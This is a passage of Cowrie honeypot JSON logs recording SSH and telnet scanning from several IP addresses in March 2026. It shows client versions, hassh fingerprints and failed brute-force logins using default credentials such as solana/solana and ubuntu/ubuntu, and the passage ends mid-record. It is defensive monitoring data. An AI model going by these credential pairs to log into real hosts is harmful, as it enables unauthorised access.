{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:39.872132Z","src_ip":"195.178.110.218","session":"73b530101b77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:40.095462Z","src_ip":"195.178.110.218","session":"73b530101b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:41.172589Z","src_ip":"195.178.110.218","session":"73b530101b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.127.92.133","src_port":63673,"dst_ip":"10.17.0.5","dst_port":23,"session":"85320665eff0","protocol":"telnet","message":"New connection: 42.127.92.133:63673 (10.17.0.5:23) [session: 85320665eff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:06:07.693597Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":47744,"dst_ip":"10.17.0.5","dst_port":22,"session":"b95ebee30cb2","protocol":"ssh","message":"New connection: 157.15.59.121:47744 (10.17.0.5:22) [session: b95ebee30cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:06:15.848299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:06:15.859010Z","src_ip":"157.15.59.121","session":"b95ebee30cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:06:16.081904Z","src_ip":"157.15.59.121","session":"b95ebee30cb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:06:16.978355Z","src_ip":"157.15.59.121","session":"b95ebee30cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:06:18.208323Z","src_ip":"157.15.59.121","session":"b95ebee30cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":32790,"dst_ip":"10.17.0.5","dst_port":22,"session":"eec23197e22c","protocol":"ssh","message":"New connection: 92.118.39.76:32790 (10.17.0.5:22) [session: eec23197e22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:07:15.776369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:07:15.781096Z","src_ip":"92.118.39.76","session":"eec23197e22c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:07:15.876454Z","src_ip":"92.118.39.76","session":"eec23197e22c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:07:16.162415Z","src_ip":"92.118.39.76","session":"eec23197e22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:07:17.264132Z","src_ip":"92.118.39.76","session":"eec23197e22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.46027207374573,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:07:56.153765Z","src_ip":"42.127.92.133","session":"85320665eff0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33262,"dst_ip":"159.203.135.109","dst_port":22,"session":"766863be6014","protocol":"ssh","message":"New connection: 195.178.110.218:33262 (159.203.135.109:22) [session: 766863be6014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:05.933653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:05.938344Z","src_ip":"195.178.110.218","session":"766863be6014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:06.018075Z","src_ip":"195.178.110.218","session":"766863be6014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:06.257095Z","src_ip":"195.178.110.218","session":"766863be6014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:07.338751Z","src_ip":"195.178.110.218","session":"766863be6014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42066,"dst_ip":"10.17.0.5","dst_port":22,"session":"348bc79612ca","protocol":"ssh","message":"New connection: 195.178.110.218:42066 (10.17.0.5:22) [session: 348bc79612ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:24.885550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:24.891230Z","src_ip":"195.178.110.218","session":"348bc79612ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:24.970559Z","src_ip":"195.178.110.218","session":"348bc79612ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:25.209359Z","src_ip":"195.178.110.218","session":"348bc79612ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:26.291667Z","src_ip":"195.178.110.218","session":"348bc79612ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":59142,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c07df68e4c1","protocol":"ssh","message":"New connection: 157.15.59.121:59142 (10.17.0.5:22) [session: 1c07df68e4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:37.848786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:37.853554Z","src_ip":"157.15.59.121","session":"1c07df68e4c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:38.096371Z","src_ip":"157.15.59.121","session":"1c07df68e4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eduardo","password":"password","message":"login attempt [eduardo/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:39.097704Z","src_ip":"157.15.59.121","session":"1c07df68e4c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:08:40.342435Z","src_ip":"157.15.59.121","session":"1c07df68e4c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":46962,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aa6eb9c4949","protocol":"ssh","message":"New connection: 92.118.39.76:46962 (10.17.0.5:22) [session: 8aa6eb9c4949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:34.067067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:34.071194Z","src_ip":"92.118.39.76","session":"8aa6eb9c4949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:34.170490Z","src_ip":"92.118.39.76","session":"8aa6eb9c4949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:34.469766Z","src_ip":"92.118.39.76","session":"8aa6eb9c4949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:35.571169Z","src_ip":"92.118.39.76","session":"8aa6eb9c4949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":36214,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbc3071114a7","protocol":"ssh","message":"New connection: 2.57.122.96:36214 (159.203.135.109:22) [session: dbc3071114a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:45.745320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:45.753067Z","src_ip":"2.57.122.96","session":"dbc3071114a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:45.853766Z","src_ip":"2.57.122.96","session":"dbc3071114a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:46.151591Z","src_ip":"2.57.122.96","session":"dbc3071114a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:09:47.253067Z","src_ip":"2.57.122.96","session":"dbc3071114a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":34458,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d400cba0bd7","protocol":"ssh","message":"New connection: 157.15.59.121:34458 (10.17.0.5:22) [session: 5d400cba0bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:00.300789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:00.305718Z","src_ip":"157.15.59.121","session":"5d400cba0bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-c